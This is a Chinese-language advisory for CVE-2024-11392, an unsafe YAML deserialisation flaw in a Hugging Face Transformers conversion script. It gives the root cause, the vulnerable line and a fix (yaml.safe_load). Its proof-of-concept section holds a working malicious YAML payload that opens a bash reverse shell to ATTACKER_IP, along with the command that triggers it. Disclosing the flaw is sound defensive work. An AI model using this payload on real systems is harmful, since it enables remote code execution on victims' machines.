
CVE-2024-11392 的技术细节与利用
漏洞的高层概述与影响:
该漏洞允许攻击者通过向 Hugging Face Transformers 仓库中的 convert_mlcvnets_to_pytorch.py 脚本提供恶意配置文件,在主机上执行任意代码。
如果不知情的用户使用了伴随恶意配置文件的第三方模型,执行 convert_mlcvnets_to_pytorch.py 脚本将导致受害者系统上的远程代码执行(RCE)。
受影响产品
根因分析
漏洞详细描述: 该漏洞源于对未信任数据的不安全反序列化。脚本使用了 yaml.load 函数,加载器为 FullLoader,它会加载完整的 YAML 语言,容易遭受代码执行攻击。
从输入到漏洞条件的代码流程:
ml-cvnet 模型及其配置文件。convert_mlcvnets_to_pytorch.py 脚本并将配置文件传递给它。convert_mlcvnets_to_pytorch.py 脚本反序列化配置文件并执行恶意代码。注入点: 漏洞出现在调用 yaml.load(yaml_file, Loader=yaml.FullLoader) 的位置。
GitHub 永久链接:https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
建议修复: 将 yaml.load(yaml_file, Loader=yaml.FullLoader) 替换为 yaml.safe_load(yaml_file),以防止任意代码执行。
执行概念验证的说明:
transformers_exploit.yaml,用于在受害者系统上打开一个反向 shell:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py 脚本,并将 transformers_exploit.yaml 文件作为 --orig_config_path 参数传递:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
注意:dummy_checkpoint.pt 可以是一个空文件,dummy_output 是一个空目录,task 可以是脚本中提到的任何选项。
软件下载链接: https://github.com/huggingface/transformers/tree/main